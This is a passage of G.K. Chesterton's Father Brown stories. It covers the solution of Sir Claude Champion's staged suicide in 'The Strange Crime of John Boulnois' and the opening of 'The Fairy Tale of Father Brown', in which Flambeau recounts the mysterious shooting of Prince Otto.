base excitement. +Sir Claude had carried the arts of publicity to perfection; +and he seemed to take a crazy pleasure in being equally ostentatious +in an intrigue that could do him no sort of honour. Footmen from +Pendragon were perpetually leaving bouquets for Mrs Boulnois; +carriages and motor-cars were perpetually calling at the cottage +for Mrs Boulnois; balls and masquerades perpetually filled the grounds +in which the baronet paraded Mrs Boulnois, like the Queen of +Love and Beauty at a tournament. That very evening, marked by Mr +Kidd for the exposition of Catastrophism, had been marked by +Sir Claude Champion for an open-air rendering of Romeo and Juliet, +in which he was to play Romeo to a Juliet it was needless to name. + + "I don't think it can go on without a smash," said the young man +with red hair, getting up and shaking himself. "Old Boulnois may be +squared--or he may be square. But if he's square he's thick-- +what you might call cubic. But I don't believe it's possible." + + "He is a man of grand intellectual powers," said Calhoun Kidd +in a deep voice. + + "Yes," answered Dalroy; "but even a man of grand intellectual powers +can't be such a blighted fool as all that. Must you be going on? +I shall be following myself in a minute or two." + + But Calhoun Kidd, having finished a milk and soda, betook himself +smartly up the road towards the Grey Cottage, leaving his cynical informant +to his whisky and tobacco. The last of the daylight had faded; +the skies were of a dark, green-grey, like slate, studded here and there +with a star, but lighter on the left side of the sky, with the promise +of a rising moon. + + The Grey Cottage, which stood entrenched, as it were, in a square +of stiff, high thorn-hedges, was so close under the pines and palisades +of the Park that Kidd at first mistook it for the Park Lodge. +Finding the name on the narrow wooden gate, however, and seeing +by his watch that the hour of the "Thinker's" appointment had just struck, +he went in and knocked at the front door. Inside the garden hedge, +he could see that the house, though unpretentious enough, was larger +and more luxurious than it looked at first, and was quite a different kind +of place from a porter's lodge. A dog-kennel and a beehive stood outside, +like symbols of old English country-life; the moon was rising behind +a plantation of prosperous pear trees, the dog that came out of the kennel +was reverend-looking and reluctant to bark; and the plain, elderly +man-servant who opened the door was brief but dignified. + + "Mr Boulnois asked me to offer his apologies, sir," he said, +"but he has been obliged to go out suddenly." + + "But see here, I had an appointment," said the interviewer, +with a rising voice. "Do you know where he went to?" + + "To Pendragon Park, sir," said the servant, rather sombrely, +and began to close the door. + + Kidd started a little. + + "Did he go with Mrs--with the rest of the party?" he asked +rather vaguely. + + "No, sir," said the man shortly; "he stayed behind, and then +went out alone." And he shut the door, brutally, but with an air of +duty not done. + + The American, that curious compound of impudence and sensitiveness, +was annoyed. He felt a strong desire to hustle them all along a bit +and teach them business habits; the hoary old dog and the grizzled, +heavy-faced old butler with his prehistoric shirt-front, and the drowsy +old moon, and above all the scatter-brained old philosopher who +couldn't keep an appointment. + + "If that's the way he goes on he deserves to lose his wife's +purest devotion," said Mr Calhoun Kidd. "But perhaps he's gone over +to make a row. In that case I reckon a man from the Western Sun +will be on the spot." + + And turning the corner by the open lodge-gates, he set off, +stumping up the long avenue of black pine-woods that pointed +in abrupt perspective towards the inner gardens of Pendragon Park. +The trees were as black and orderly as plumes upon a hearse; +there were still a few stars. He was a man with more literary +than direct natural associations; the word "Ravenswood" came into +his head repeatedly. It was partly the raven colour of the pine-woods; +but partly also an indescribable atmosphere almost described +in Scott's great tragedy; the smell of something that died +in the eighteenth century; the smell of dank gardens and broken urns, +of wrongs that will never now be righted; of something that is +none the less incurably sad because it is strangely unreal. + + More than once, as he went up that strange, black road +of tragic artifice, he stopped, startled, thinking he heard steps +in front of him. He could see nothing in front but the twin sombre +walls of pine and the wedge of starlit sky above them. At first +he thought he must have fancied it or been mocked by a mere echo of +his own tramp. But as he went on he was more and more inclined +to conclude, with the remains of his reason, that there really were +other feet upon the road. He thought hazily of ghosts; and was surprised +how swiftly he could see the image of an appropriate and local ghost, +one with a face as white as Pierrot's, but patched with black. +The apex of the triangle of dark-blue sky was growing brighter and bluer, +but he did not realize as yet that this was because he was coming +nearer to the lights of the great house and garden. He only felt +that the atmosphere was growing more intense, there was in the sadness +more violence and secrecy--more--he hesitated for the word, +and then said it with a jerk of laughter--Catastrophism. + + More pines, more pathway slid past him, and then he stood rooted +as by a blast of magic. It is vain to say that he felt as if he had +got into a dream; but this time he felt quite certain that he had +got into a book. For we human beings are used to inappropriate things; +we are accustomed to the clatter of the incongruous; it is a tune +to which we can go to sleep. If one appropriate thing happens, +it wakes us up like the pang of a perfect chord. Something happened +such as would have happened in such a place in a forgotten tale. + + Over the black pine-wood came flying and flashing in the moon +a naked sword--such a slender and sparkling rapier as may have +fought many an unjust duel in that ancient park. It fell on the pathway +far in front of him and lay there glistening like a large needle. +He ran like a hare and bent to look at it. Seen at close quarters +it had rather a showy look: the big red jewels in the hilt and guard +were a little dubious. But there were other red drops upon the blade +which were not dubious. + + He looked round wildly in the direction from which the dazzling missile +had come, and saw that at this point the sable facade of fir and pine +was interrupted by a smaller road at right angles; which, when he turned it, +brought him in full view of the long, lighted house, with a lake and +fountains in front of it. Nevertheless, he did not look at this, +having something more interesting to look at. + + Above him, at the angle of the steep green bank of the +terraced garden, was one of those small picturesque surprises +common in the old landscape gardening; a kind of small round hill or +dome of grass, like a giant mole-hill, ringed and crowned with +three concentric fences of roses, and having a sundial in the highest point +in the centre. Kidd could see the finger of the dial stand up dark +against the sky like the dorsal fin of a shark and the vain moonlight +clinging to that idle clock. But he saw something else clinging +to it also, for one wild moment--the figure of a man. + + Though he saw it there only for a moment, though it was outlandish +and incredible in costume, being clad from neck to heel in tight crimson, +with glints of gold, yet he knew in one flash of moonlight who it was. +That white face flung up to heaven, clean-shaven and so unnaturally young, +like Byron with a Roman nose, those black curls already grizzled-- +he had seen the thousand public portraits of Sir Claude Champion. +The wild red figure reeled an instant against the sundial; the next +it had rolled down the steep bank and lay at the American's feet, +faintly moving one arm. A gaudy, unnatural gold ornament on the arm +suddenly reminded Kidd of Romeo and Juliet; of course the tight crimson +suit was part of the play. But there was a long red stain down +the bank from which the man had rolled--that was no part of the play. +He had been run through the body. + + Mr Calhoun Kidd shouted and shouted again. Once more he seemed +to hear phantasmal footsteps, and started to find another figure +already near him. He knew the figure, and yet it terrified him. +The dissipated youth who had called himself Dalroy had a horribly quiet +way with him; if Boulnois failed to keep appointments that had been made, +Dalroy had a sinister air of keeping appointments that hadn't. +The moonlight discoloured everything, against Dalroy's red hair +his wan face looked not so much white as pale green. + + All this morbid impressionism must be Kidd's excuse for having +cried out, brutally and beyond all reason: "Did you do this, you devil?" + + James Dalroy smiled his unpleasing smile; but before he could speak, +the fallen figure made another movement of the arm, waving vaguely +towards the place where the sword fell; then came a moan, and then +it managed to speak. + + "Boulnois.... Boulnois, I say.... Boulnois did it... +jealous of me...he was jealous, he was, he was..." + + Kidd bent his head down to hear more, and just managed +to catch the words: + + "Boulnois...with my own sword...he threw it..." + + Again the failing hand waved towards the sword, and then fell rigid +with a thud. In Kidd rose from its depth all that acrid humour +that is the strange salt of the seriousness of his race. + + "See here," he said sharply and with command, "you must +fetch a doctor. This man's dead." + + "And a priest, too, I suppose," said Dalroy in an undecipherable manner. +"All these Champions are papists." + + The American knelt down by the body, felt the heart, propped up +the head and used some last efforts at restoration; but before +the other journalist reappeared, followed by a doctor and a priest, +he was already prepared to assert they were too late. + + "Were you too late also?" asked the doctor, a solid +prosperous-looking man, with conventional moustache and whiskers, +but a lively eye, which darted over Kidd dubiously. + + "In one sense," drawled the representative of the Sun. +"I was too late to save the man, but I guess I was in time to hear +something of importance. I heard the dead man denounce his assassin." + + "And who was the assassin?" asked the doctor, drawing his +eyebrows together. + + "Boulnois," said Calhoun Kidd, and whistled softly. + + The doctor stared at him gloomily with a reddening brow--, +but he did not contradict. Then the priest, a shorter figure +in the background, said mildly: "I understood that Mr Boulnois +was not coming to Pendragon Park this evening." + + "There again," said the Yankee grimly, "I may be in a position +to give the old country a fact or two. Yes, sir, John Boulnois +was going to stay in all this evening; he fixed up a real good appointment +there with me. But John Boulnois changed his mind; John Boulnois +left his home abruptly and all alone, and came over to this darned Park +an hour or so ago. His butler told me so. I think we hold what +the all-wise police call a clue--have you sent for them?" + + "Yes," said the doctor, "but we haven't alarmed anyone else yet." + + "Does Mrs Boulnois know?" asked James Dalroy, and again Kidd +was conscious of an irrational desire to hit him on his curling mouth. + + "I have not told her," said the doctor gruffly--, "but here come +the police." + + The little priest had stepped out into the main avenue, +and now returned with the fallen sword, which looked ludicrously large +and theatrical when attached to his dumpy figure, at once clerical +and commonplace. "Just before the police come," he said apologetically, +"has anyone got a light?" + + The Yankee journalist took an electric torch from his pocket, +and the priest held it close to the middle part of the blade, +which he examined with blinking care. Then, without glancing at +the point or pommel, he handed the long weapon to the doctor. + + "I fear I'm no use here," he said, with a brief sigh. +"I'll say good night to you, gentlemen." And he walked away +up the dark avenue towards the house, his hands clasped behind him +and his big head bent in cogitation. + + The rest of the group made increased haste towards the lodge-gates, +where an inspector and two constables could already be seen +in consultation with the lodge-keeper. But the little priest +only walked slower and slower in the dim cloister of pine, and at last +stopped dead, on the steps of the house. It was his silent way +of acknowledging an equally silent approach; for there came towards +him a presence that might have satisfied even Calhoun Kidd's demands +for a lovely and aristocratic ghost. It was a young woman +in silvery satins of a Renascence design; she had golden hair +in two long shining ropes, and a face so startingly pale between them +that she might have been chryselephantine--made, that is, like some +old Greek statues, out of ivory and gold. But her eyes were very bright, +and her voice, though low, was confident. + + "Father Brown?" she said. + + "Mrs Boulnois?" he replied gravely. Then he looked at her and +immediately said: "I see you know about Sir Claude." + + "How do you know I know?" she asked steadily. + + He did not answer the question, but asked another: "Have you +seen your husband?" + + "My husband is at home," she said. "He has nothing to do with this." + + Again he did not answer; and the woman drew nearer to him, +with a curiously intense expression on her face. + + "Shall I tell you something more?" she said, with a rather +fearful smile. "I don't think he did it, and you don't either." +Father Brown returned her gaze with a long, grave stare, and then nodded, +yet more gravely. + + "Father Brown," said the lady, "I am going to tell you all I know, +but I want you to do me a favour first. Will you tell me why +you haven't jumped to the conclusion of poor John's guilt, +as all the rest have done? Don't mind what you say: I--I know about +the gossip and the appearances that are against me." + + Father Brown looked honestly embarrassed, and passed his hand +across his forehead. "Two very little things," he said. +"At least, one's very trivial and the other very vague. +But such as they are, they don't fit in with Mr Boulnois +being the murderer." + + He turned his blank, round face up to the stars and +continued absentmindedly: "To take the vague idea first. +I attach a good deal of importance to vague ideas. All those things that +`aren't evidence' are what convince me. I think a moral impossibility +the biggest of all impossibilities. I know your husband only slightly, +but I think this crime of his, as generally conceived, something +very like a moral impossibility. Please do not think I mean that +Boulnois could not be so wicked. Anybody can be wicked--as wicked as +he chooses. We can direct our moral wills; but we can't generally change +our instinctive tastes and ways of doing things. Boulnois might +commit a murder, but not this murder. He would not snatch Romeo's sword +from its romantic scabbard; or slay his foe on the sundial as on +a kind of altar; or leave his body among the roses, or fling the sword +away among the pines. If Boulnois killed anyone he'd do it +quietly and heavily, as he'd do any other doubtful thing-- +take a tenth glass of port, or read a loose Greek poet. +No, the romantic setting is not like Boulnois. It's more like Champion." + + "Ah!" she said, and looked at him with eyes like diamonds. + + "And the trivial thing was this," said Brown. "There were +finger-prints on that sword; finger-prints can be detected quite +a time after they are made if they're on some polished surface +like glass or steel. These were on a polished surface. +They were half-way down the blade of the sword. Whose prints they were +I have no earthly clue; but why should anybody hold a sword half-way down? +It was a long sword, but length is an advantage in lunging at an enemy. +At least, at most enemies. At all enemies except one." + + "Except one," she repeated. + + "There is only one enemy," said Father Brown, "whom it is easier +to kill with a dagger than a sword." + + "I know," said the woman. "Oneself." + + There was a long silence, and then the priest said quietly +but abruptly: "Am I right, then? Did Sir Claude kill himself?" + + "Yes" she said, with a face like marble. "I saw him do it." + + "He died," said Father Brown, "for love of you?" + + An extraordinary expression flashed across her face, +very different from pity, modesty, remorse, or anything her companion +had expected: her voice became suddenly strong and full. +"I don't believe," she said, "he ever cared about me a rap. +He hated my husband." + + "Why?" asked the other, and turned his round face from the sky +to the lady. + + "He hated my husband because...it is so strange I hardly know +how to say it...because..." + + "Yes?" said Brown patiently. + + "Because my husband wouldn't hate him." + + Father Brown only nodded, and seemed still to be listening; +he differed from most detectives in fact and fiction in a small point-- +he never pretended not to understand when he understood perfectly well. + + Mrs Boulnois drew near once more with the same contained +glow of certainty. "My husband," she said, "is a great man. +Sir Claude Champion was not a great man: he was a celebrated and +successful man. My husband has never been celebrated or successful; +and it is the solemn truth that he has never dreamed of being so. +He no more expects to be famous for thinking than for smoking cigars. +On all that side he has a sort of splendid stupidity. He has never +grown up. He still liked Champion exactly as he liked him at school; +he admired him as he would admire a conjuring trick done at +the dinner-table. But he couldn't be got to conceive the notion of +envying Champion. And Champion wanted to be envied. He went mad +and killed himself for that." + + "Yes," said Father Brown; "I think I begin to understand." + + "Oh, don't you see?" she cried; "the whole picture is made for that-- +the place is planned for it. Champion put John in a little house +at his very door, like a dependant--to make him feel a failure. +He never felt it. He thinks no more about such things than-- +than an absent-minded lion. Champion would burst in on John's +shabbiest hours or homeliest meals with some dazzling present or +announcement or expedition that made it like the visit of Haroun Alraschid, +and John would accept or refuse amiably with one eye off, so to speak, +like one lazy schoolboy agreeing or disagreeing with another. +After five years of it John had not turned a hair; and Sir Claude Champion +was a monomaniac." + + "And Haman began to tell them," said Father Brown, +"of all the things wherein the king had honoured him; and he said: +`All these things profit me nothing while I see Mordecai the Jew +sitting in the gate.'" + + "The crisis came," Mrs Boulnois continued, "when I persuaded John +to let me take down some of his speculations and send them to a magazine. +They began to attract attention, especially in America, and one paper +wanted to interview him. When Champion (who was interviewed +nearly every day) heard of this late little crumb of success +falling to his unconscious rival, the last link snapped that held back +his devilish hatred. Then he began to lay that insane siege to my own +love and honour which has been the talk of the shire. You will ask me +why I allowed such atrocious attentions. I answer that I could not have +declined them except by explaining to my husband, and there are +some things the soul cannot do, as the body cannot fly. +Nobody could have explained to my husband. Nobody could do it now. +If you said to him in so many words, `Champion is stealing your wife,' +he would think the joke a little vulgar: that it could be anything +but a joke--that notion could find no crack in his great skull +to get in by. Well, John was to come and see us act this evening, +but just as we were starting he said he wouldn't; he had got +an interesting book and a cigar. I told this to Sir Claude, +and it was his death-blow. The monomaniac suddenly saw despair. +He stabbed himself, crying out like a devil that Boulnois was slaying him; +he lies there in the garden dead of his own jealousy to produce jealousy, +and John is sitting in the dining-room reading a book." + + There was another silence, and then the little priest said: +"There is only one weak point, Mrs Boulnois, in all your +very vivid account. Your husband is not sitting in the dining-room +reading a book. That American reporter told me he had been to your house, +and your butler told him Mr Boulnois had gone to Pendragon Park after all." + + Her bright eyes widened to an almost electric glare; +and yet it seemed rather bewilderment than confusion or fear. +"Why, what can you mean?" she cried. "All the servants were +out of the house, seeing the theatricals. And we don't keep a butler, +thank goodness!" + + Father Brown started and spun half round like an absurd teetotum. +"What, what?" he cried seeming galvanized into sudden life. +"Look here--I say--can I make your husband hear if I go to the house?" + + "Oh, the servants will be back by now," she said, wondering. + + "Right, right!" rejoined the cleric energetically, and set off +scuttling up the path towards the Park gates. He turned once to say: +"Better get hold of that Yankee, or `Crime of John Boulnois' will be +all over the Republic in large letters." + + "You don't understand," said Mrs Boulnois. "He wouldn't mind. +I don't think he imagines that America really is a place." + + When Father Brown reached the house with the beehive and +the drowsy dog, a small and neat maid-servant showed him into +the dining-room, where Boulnois sat reading by a shaded lamp, +exactly as his wife described him. A decanter of port and a wineglass +were at his elbow; and the instant the priest entered he noted +the long ash stand out unbroken on his cigar. + + "He has been here for half an hour at least," thought Father Brown. +In fact, he had the air of sitting where he had sat when his dinner +was cleared away. + + "Don't get up, Mr Boulnois," said the priest in his pleasant, +prosaic way. "I shan't interrupt you a moment. I fear I break in on +some of your scientific studies." + + "No," said Boulnois; "I was reading `The Bloody Thumb.'" +He said it with neither frown nor smile, and his visitor was conscious +of a certain deep and virile indifference in the man which his wife +had called greatness. He laid down a gory yellow "shocker" +without even feeling its incongruity enough to comment on it humorously. +John Boulnois was a big, slow-moving man with a massive head, +partly grey and partly bald, and blunt, burly features. +He was in shabby and very old-fashioned evening-dress, with a narrow +triangular opening of shirt-front: he had assumed it that evening +in his original purpose of going to see his wife act Juliet. + + "I won't keep you long from `The Bloody Thumb' or any other +catastrophic affairs," said Father Brown, smiling. "I only came +to ask you about the crime you committed this evening." + + Boulnois looked at him steadily, but a red bar began to show +across his broad brow; and he seemed like one discovering embarrassment +for the first time. + + "I know it was a strange crime," assented Brown in a low voice. +"Stranger than murder perhaps--to you. The little sins are sometimes +harder to confess than the big ones--but that's why it's so important +to confess them. Your crime is committed by every fashionable hostess +six times a week: and yet you find it sticks to your tongue like +a nameless atrocity." + + "It makes one feel," said the philosopher slowly, "such a +damned fool." + + "I know," assented the other, "but one often has to choose +between feeling a damned fool and being one." + + "I can't analyse myself well," went on Boulnois; "but sitting +in that chair with that story I was as happy as a schoolboy +on a half-holiday. It was security, eternity--I can't convey it... +the cigars were within reach...the matches were within reach... +the Thumb had four more appearances to...it was not only a peace, +but a plenitude. Then that bell rang, and I thought for one long, +mortal minute that I couldn't get out of that chair--literally, +physically, muscularly couldn't. Then I did it like a man +lifting the world, because I knew all the servants were out. +I opened the front door, and there was a little man with his mouth open +to speak and his notebook open to write in. I remembered the Yankee +interviewer I had forgotten. His hair was parted in the middle, +and I tell you that murder--" + + "I understand," said Father Brown. "I've seen him." + + "I didn't commit murder," continued the Catastrophist mildly, +"but only perjury. I said I had gone across to Pendragon Park +and shut the door in his face. That is my crime, Father Brown, +and I don't know what penance you would inflict for it." + + "I shan't inflict any penance," said the clerical gentleman, +collecting his heavy hat and umbrella with an air of some amusement; +"quite the contrary. I came here specially to let you off the little +penance which would otherwise have followed your little offence." + + "And what," asked Boulnois, smiling, "is the little penance +I have so luckily been let off?" + + "Being hanged," said Father Brown. + + + + TWELVE + + + The Fairy Tale of Father Brown + + +THE picturesque city and state of Heiligwaldenstein was one of those +toy kingdoms of which certain parts of the German Empire still consist. +It had come under the Prussian hegemony quite late in history-- +hardly fifty years before the fine summer day when Flambeau and +Father Brown found themselves sitting in its gardens and drinking its beer. +There had been not a little of war and wild justice there within +living memory, as soon will be shown. But in merely looking at it +one could not dismiss that impression of childishness which is +the most charming side of Germany--those little pantomime, +paternal monarchies in which a king seems as domestic as a cook. +The German soldiers by the innumerable sentry-boxes looked strangely like +German toys, and the clean-cut battlements of the castle, +gilded by the sunshine, looked the more like the gilt gingerbread. +For it was brilliant weather. The sky was as Prussian a blue as +Potsdam itself could require, but it was yet more like that lavish and +glowing use of the colour which a child extracts from a shilling paint-box. +Even the grey-ribbed trees looked young, for the pointed buds on them +were still pink, and in a pattern against the strong blue looked like +innumerable childish figures. + + Despite his prosaic appearance and generally practical walk of life, +Father Brown was not without a certain streak of romance in his composition, +though he generally kept his daydreams to himself, as many children do. +Amid the brisk, bright colours of such a day, and in the heraldic +framework of such a town, he did feel rather as if he had entered +a fairy tale. He took a childish pleasure, as a younger brother might, +in the formidable sword-stick which Flambeau always flung as he walked, +and which now stood upright beside his tall mug of Munich. +Nay, in his sleepy irresponsibility, he even found himself eyeing the +knobbed and clumsy head of his own shabby umbrella, with some +faint memories of the ogre's club in a coloured toy-book. +But he never composed anything in the form of fiction, unless it be +the tale that follows: + + "I wonder," he said, "whether one would have real adventures +in a place like this, if one put oneself in the way? It's a splendid +back-scene for them, but I always have a kind of feeling that they +would fight you with pasteboard sabres more than real, horrible swords." + + "You are mistaken," said his friend. "In this place they +not only fight with swords, but kill without swords. And there's +worse than that." + + "Why, what do you mean?" asked Father Brown. + + "Why," replied the other, "I should say this was the only place +in Europe where a man was ever shot without firearms." + + "Do you mean a bow and arrow?" asked Brown in some wonder. + + "I mean a bullet in the brain," replied Flambeau. +"Don't you know the story of the late Prince of this place? +It was one of the great police mysteries about twenty years ago. +You remember, of course, that this place was forcibly annexed +at the time of Bismarck's very earliest schemes of consolidation-- +forcibly, that is, but not at all easily. The empire (or what wanted +to be one) sent Prince Otto of Grossenmark to rule the place +in the Imperial interests. We saw his portrait in the gallery there-- +a handsome old gentleman if he'd had any hair or eyebrows, +and hadn't been wrinkled all over like a vulture; but he had +things to harass him, as I'll explain in a minute. He was a soldier +of distinguished skill and success, but he didn't have altogether +an easy job with this little place. He was defeated in several battles +by the celebrated Arnhold brothers--the three guerrilla patriots +to whom Swinburne wrote a poem, you remember: + + Wolves with the hair of the ermine, + Crows that are crowned and kings-- + These things be many as vermin, + Yet Three shall abide these things. + +Or something of that kind. Indeed, it is by no means certain +that the occupation would ever have been successful had not one of +the three brothers, Paul, despicably, but very decisively declined +to abide these things any longer, and, by surrendering all the secrets +of the insurrection, ensured its overthrow and his own ultimate promotion +to the post of chamberlain to Prince Otto. After this, Ludwig, +the one genuine hero among Mr Swinburne's heroes, was killed, +sword in hand, in the capture of the city; and the third, Heinrich, +who, though not a traitor, had always been tame and even timid +compared with his active brothers, retired into something like a hermitage, +became converted to a Christian quietism which was almost Quakerish, +and never mixed with men except to give nearly all he had to the poor. +They tell me that not long ago he could still be seen about +the neighbourhood occasionally, a man in a black cloak, nearly blind, +with very wild, white hair, but a face of astonishing softness." + + "I know," said Father Brown. "I saw him once." + + His friend looked at him in some surprise. "I didn't know +you'd been here before," he said. "Perhaps you know as much about it +as I do. Anyhow, that's the story of the Arnholds, and he was +the last survivor of them. Yes, and of all the men who played parts +in that drama." + + "You mean that the Prince, too, died long before?" + + "Died," repeated Flambeau, "and that's about as much as we can say. +You must understand that towards the end of his life he began +to have those tricks of the nerves not uncommon with tyrants. +He multiplied the ordinary daily and nightly guard round his castle +till there seemed to be more sentry-boxes than houses in the town, +and doubtful characters were shot without mercy. He lived almost entirely +in a little room that was in the very centre of the enormous labyrinth +of all the other rooms, and even in this he erected another sort of +central cabin or cupboard, lined with steel, like a safe or a battleship. +Some say that under the floor of this again was a secret hole in the earth, +no more than large enough to hold him, so that, in his anxiety +to avoid the grave, he was willing to go into a place pretty much like it. +But he went further yet. The populace had been supposed to be disarmed +ever since the suppression of the revolt, but Otto now insisted, +as governments very seldom insist, on an absolute and literal disarmament. +It was carried out, with extraordinary thoroughness and severity, +by very well-organized officials over a small and familiar area, and, +so far as human strength and science can be absolutely certain of anything, +Prince Otto was absolutely certain that nobody could introduce so much as +a toy pistol into Heiligwaldenstein." + + "Human science can never be quite certain of things like that," +said Father Brown, still looking at the red budding of the branches +over his head, "if only because of the difficulty about definition +and connotation. What is a weapon? People have been murdered +with the mildest domestic comforts; certainly with tea-kettles, +probably with tea-cosies. On the other hand, if you showed +an Ancient Briton a revolver, I doubt if he would know it was a weapon-- +until it was fired into him, of course. Perhaps somebody introduced +a firearm so new that it didn't even look like a firearm. +Perhaps it looked like a thimble or something. Was the bullet +at all peculiar?" + + "Not that I ever heard of," answered Flambeau; "but my information +is fragmentary, and only comes from my old friend Grimm. +He was a very able detective in the German service, and he tried +to arrest me; I arrested him instead, and we had many interesting chats. +He was in charge here of the inquiry about Prince Otto, but I forgot +to ask him anything about the bullet. According to Grimm, +what happened was this." He paused a moment to drain the greater part +of his dark lager at a draught, and then resumed: + + "On the evening in question, it seems, the Prince was expected +to appear in one of the outer rooms, because he had to receive +certain visitors whom he really wished to meet. They were geological +experts sent to investigate the old question of the alleged supply of gold +from the rocks round here, upon which (as it was said) the small city-state +had so long maintained its credit and been able to negotiate with +its neighbours even under the ceaseless bombardment of bigger armies. +Hitherto it had never been found by the most exacting inquiry +which could--" + + "Which could be quite certain of discovering a toy pistol," +said Father Brown with a smile. "But what about the brother who ratted? +Hadn't he anything to tell the Prince?" + + "He always asseverated that he did not know," replied Flambeau; +"that this was the one secret his brothers had not told him. +It is only right to say that it received some support from +fragmentary words--spoken by the great Ludwig in the hour of death, +when he looked at Heinrich but pointed at Paul, and said, +`You have not told him...' and was soon afterwards incapable of speech. +Anyhow, the deputation of distinguished geologists and mineralogists +from Paris and Berlin were there in the most magnificent and +appropriate dress, for there are no men who like wearing their decorations +so much as the men of science--as anybody knows who has ever been to +a soiree of the Royal Society. It was a brilliant gathering, +but very late, and gradually the Chamberlain--you saw his portrait, too: +a man with black eyebrows, serious eyes, and a meaningless sort of +smile underneath--the Chamberlain, I say, discovered there was +everything there except the Prince himself. He searched all the +outer salons; then, remembering the man's mad fits of fear, +hurried to the inmost chamber. That also was empty, but the steel turret +or cabin erected in the middle of it took some time to open. +When it did open it was empty, too. He went and looked into +the hole in the ground, which seemed deeper and somehow all the more +like a grave--that is his account, of course. And even as he did so +he heard a burst of cries and tumult in the long rooms +and corridors without. + + "First it was a distant din and thrill of something unthinkable +on the horizon of the crowd, even beyond the castle. Next it was +a wordless clamour startlingly close, and loud enough to be distinct +if each word had not killed the other. Next came words +of a terrible clearness, coming nearer, and next one man, +rushing into the room and telling the news as briefly as such news is told. + + "Otto, Prince of Heiligwaldenstein and Grossenmark, was lying +in the dews of the darkening twilight in the woods beyond the castle, +with his arms flung out and his face flung up to the moon. +The blood still pulsed from his shattered temple and jaw, +but it was the only part of him that moved like a living thing. +He was clad in his full white and yellow uniform, as to receive his +guests within, except that the sash or scarf had been unbound and lay +rather crumpled by his side. Before he could be lifted he was dead. +But, dead or alive, he was a riddle--he who had always hidden in +the inmost chamber out there in the wet woods, unarmed and alone." + + "Who found his body?" asked Father Brown. + + "Some girl attached to the Court named Hedwig von something or other," +replied his friend, "who had been out in the wood picking wild flowers." + + "Had she picked any?" asked the priest, staring rather vacantly +at the veil of the branches above him. + + "Yes," replied Flambeau. "I particularly remember that +the Chamberlain, or old Grimm or somebody, said how horrible it was, +when they came up at her call, to see a girl holding spring flowers +and bending over that--that bloody collapse. However, the main point is +that before help arrived he was dead, and the news, of course, +had to be carried back to the castle. The consternation it created was +something beyond even that natural in a Court at the fall of a potentate. +The foreign visitors, especially the mining experts, were in the wildest +doubt and excitement, as well as many important Prussian officials, +and it soon began to be clear that the scheme for finding the treasure +bulked much bigger in the business than people had supposed. +Experts and officials had been promised great prizes or +international advantages, and some even said that the Prince's +secret apartments and strong military protection were due less to fear +of the populace than to the pursuit of some private investigation of--" + + "Had the flowers got long stalks?" asked Father Brown. + + Flambeau stared at him. "What an odd person you are!" he said. +"That's exactly what old Grimm said. He said the ugliest part of it, +he thought--uglier than the blood and bullet--was that the flowers +were quite short, plucked close under the head." + + "Of course," said the priest, "when a grown up girl is really +picking flowers, she picks them with plenty of stalk. If she just +pulled their heads off, as a child does, it looks as if--" +And he hesitated. + + "Well?" inquired the other. + + "Well, it looks rather as if she had snatched them nervously, +to make an excuse for being there after--well, after she was there." + + "I know what you're driving at," said Flambeau rather gloomily. +"But that and every other suspicion breaks down on the one point-- +the want of a weapon. He could have been killed, as you say, +with lots of other things--even with his own military sash; +but we have to explain not bow he was killed, but how he was shot. +And the fact is we can't. They had the girl most ruthlessly searched; +for, to tell the truth, she was a little suspect, though the niece +and ward of the wicked old Chamberlain, Paul Arnhold. But she was +very romantic, and was suspected of sympathy with the old revolutionary +enthusiasm in her family. All the same, however romantic you are, +you can't imagine a big bullet into a man's jaw or brain without using +a gun or pistol. And there was no pistol, though there were +two pistol shots. I leave it to you, my friend." + + "How do you know there were two shots?" asked the little priest. + + "There was only one in his head," said his companion, +"but there was another bullet-hole in the sash." + + Father Brown's smooth brow became suddenly constricted. +"Was the other bullet found?" he demanded. + + Flambeau started a little. "I don't think I remember," he said. + + "Hold on! Hold on! Hold on!" cried Brown, frowning more and more, +with a quite unusual concentration of curiosity. "Don't think me rude. +Let me think this out for a moment." + + "All right," said Flambeau, laughing, and finished his beer. +A slight breeze stirred the budding trees and blew up into the sky +cloudlets of white and pink that seemed to make the sky bluer and +the whole coloured scene more quaint. They might have been cherubs +flying home to the casements of a sort of celestial nursery. +The oldest tower of the castle, the Dragon Tower, stood up as grotesque +as the ale-mug, but as homely. Only beyond the tower glimmered +the wood in which the man had lain dead. + + "What became of this Hedwig eventually?" asked the priest at last. + + "She is married to General Schwartz," said Flambeau. +"No doubt you've heard of his career, which was rather romantic. +He had distinguished himself even, before his exploits at Sadowa +and Gravelotte; in fact, he rose from the ranks, which is very unusual +even in the smallest of the German..." + + Father Brown sat up suddenly. + + "Rose from the ranks!" he cried, and made a mouth as if to whistle. +"Well, well, what a queer story! What a queer way of killing a man; +but I suppose it was the only one possible. But to think of hate +so patient--" + + "What do you mean?" demanded the other. "In what way did they +kill the man?" + + "They killed him with the sash," said Brown carefully; and then, +as Flambeau protested: "Yes, yes, I know about the bullet. +Perhaps I ought to say he died of having a sash. I know it doesn't sound +like having a disease." + + "I suppose," said Flambeau, "that you've got some notion +in your head, but it won't easily get the bullet out of his. +As I explained before, he might easily have been strangled. +But he was shot. By whom? By what?" + + "He was shot by his own orders," said the priest. + + "You mean he committed suicide?" + + "I didn't say by his own wish," replied Father Brown. +"I said by his own orders." + + "Well, anyhow, what is your theory?" + + Father Brown laughed. "I am only on my holiday," he said. +"I haven't got any theories. Only this place reminds me of fairy stories, +and, if you like, I'll tell you a story." + + The little pink clouds, that looked rather like sweet-stuff, +had floated up to crown the turrets of the gilt gingerbread castle, +and the pink baby fingers of the budding trees seemed spreading and +stretching to reach them; the blue sky began to take a bright violet +of evening, when Father Brown suddenly spoke again: + + "It was on a dismal night, with rain still dropping from the trees +and dew already clustering, that Prince Otto of Grossenmark stepped +hurriedly out of a side door of the castle and walked swiftly +into the wood. One of the innumerable sentries saluted him, +but he did not notice it. He had no wish to be specially noticed himself. +He was glad when the great trees, grey and already greasy with rain, +swallowed him up like a swamp. He had deliberately chosen +the least frequented side of his palace, but even that was more frequented +than he liked. But there was no particular chance of officious +or diplomatic pursuit, for his exit had been a sudden impulse. +All the full-dressed diplomatists he left behind were unimportant. +He had realized suddenly that he could do without them. + + "His great passion was not the much nobler dread of death, +but the strange desire of gold. For this legend of the gold he had +left Grossenmark and invaded Heiligwaldenstein. For this and only this +he had bought the traitor and butchered the hero, for this he had +long questioned and cross-questioned the false Chamberlain, +until he had come to the conclusion that, touching his ignorance, +the renegade really told the truth. For this he had, somewhat reluctantly, +paid and promised money on the chance of gaining the larger amount; +and for this he had 